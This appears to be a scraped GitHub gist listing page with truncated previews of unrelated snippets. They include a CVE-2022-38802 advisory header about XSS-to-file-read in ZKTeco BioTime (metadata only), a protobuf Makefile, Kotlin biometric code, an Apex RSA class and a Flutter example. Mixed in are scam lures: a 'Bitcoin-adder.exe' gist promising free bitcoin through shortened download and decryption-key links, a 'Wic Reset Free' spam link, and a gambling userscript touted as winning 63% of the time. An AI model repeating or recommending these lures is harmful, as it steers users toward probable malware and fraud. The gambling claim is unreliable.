Skip to content

Instantly share code, notes, and snippets.

View hnjm's full-sized avatar
🇾🇪
I may be slow to respond.

Hassan Najm hnjm

🇾🇪
I may be slow to respond.
View GitHub Profile
@hnjm
hnjm / CVE-2022-38802
Created January 25, 2023 05:21 — forked from hamoshwani/CVE-2022-38802
Administrator can exploit XSS into local file read using PDF generator in Zkteco Biotime
Security Advisory
Topic: Administrator can exploit XSS into local file read using PDF generator in Zkteco Biotime
Category: Zkteco Biotime
Module: webgui
Announced: 01-09-2022
Credits: Ahmed Kameran From https://technobase.krd/ -- https://twitter.com/hamoshwani
CVE ID: CVE-2022-38802
Affects: BioTime - < 8.5.3 Build:20200816.447
@hamoshwani
hamoshwani / CVE-2022-38802
Last active January 25, 2023 05:21
Administrator can exploit XSS into local file read using PDF generator in Zkteco Biotime
Security Advisory
Topic: Administrator can exploit XSS into local file read using PDF generator in Zkteco Biotime
Category: Zkteco Biotime
Module: webgui
Announced: 01-09-2022
Credits: Ahmed Kameran From https://technobase.krd/ -- https://twitter.com/hamoshwani
CVE ID: CVE-2022-38802
Affects: BioTime - < 8.5.3 Build:20200816.447
@devlights
devlights / makefile
Created September 22, 2020 14:15
Protocol Buffers (protobuf) と Go のプログラム作るときに使える Makefile
usage:
@echo '-----------------------------------------------------------------------------'
@echo '以下のどれかのタスクを指定します.'
@echo ' - install-requirements -- Protocol Buffers を実行するのに必要なものをインストールします.'
@echo ' - protoc は プロジェクトディレクトリ直下の bin にインストールされます.'
@echo ' - protoc-gen-go は $(go env GOPATH)/bin にインストールされます.'
@echo ' - protoc-gen-doc は $(go env GOPATH)/bin にインストールされます.'
@echo ' - protoc -- protocを実行します.'
@echo ' - protoファイルは protoディレクトリ の下に存在しているとします.'
@echo ' - 生成されたgoファイルは internal ディレクトリの下に配置されます.'
@makaAnarchy
makaAnarchy / freebitco Multiplay script.js
Last active January 14, 2023 07:25
freebitco.in best script to play Multiply BTC with 63% win chance
// ==UserScript==
// @name Best algorithm to play Multiply odd 1.5 win chance 63% (NOT FOR LOW BALANCE)
// @description Play with higher chance , READ FIRST
// @include https://freebitco.in/*
// @copyright 2020, makaaymen@gmail.com
// @namespace AnarchyHS
// ==/UserScript==
bconfig = {
@isaidamier
isaidamier / onAuthenticationSucceededNoCrypto.kt
Created November 26, 2019 02:54
onAuthenticationSucceededNoCrypto
override fun onAuthenticationSucceeded(result: BiometricPrompt.AuthenticationResult) {
super.onAuthenticationSucceeded(result)
Log.d(TAG, "Authentication was successful")
showMessage()
}
@isaidamier
isaidamier / createBiometricPrompt.kt
Last active December 12, 2019 17:26
create a BiometricPrompt
private lateinit var biometricPrompt: BiometricPrompt
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
setSupportActionBar(findViewById(R.id.toolbar))
// ...
biometricPrompt = createBiometricPrompt()
}
@hnjm
hnjm / RSA.cls
Created April 10, 2019 07:14 — forked from nikitakarpenkov/RSA.cls
RSA encryption / decryption in salesforce apex
public class RSA {
private Key key;
// Hex digits
private static final String DIGITS = '0123456789abcdef';
private static final Decimal HEX_BASE = 16;
public abstract class Key {
private String modulus;
public Key(String modulus) {
@slightfoot
slightfoot / dynamic_widget_creation.dart
Created April 3, 2019 22:02
Example of Dynamic Widget Creation
import 'package:flutter/material.dart';
abstract class Event {}
class TTimeEntryCreated extends Event {}
class TTimeEntryEdited extends Event {}
class TTimeEntryDeleted extends Event {}
@genuinehacks
genuinehacks / Bitcoin-adder.exe
Created February 23, 2018 03:56
BITCOIN Adder, Download now to start earning money for free and fast.
Go to these links to download the bitcoin adder...
1 Link : http://rapidtory.com/Ac3G
For decrypt key...
2 Link : http://rapidtory.com/AcEm
.
.
.
.
Now download and enjoy....
anonymous
anonymous / gist:0444fb55e3e25769f018d8073f5c5f73
Created February 16, 2018 09:57
Wic Reset Free 78
********************
Wic Reset Free 78 ->>->>->>
********************
http://shurll.com/cz1st
(Copy & Paste link)
********************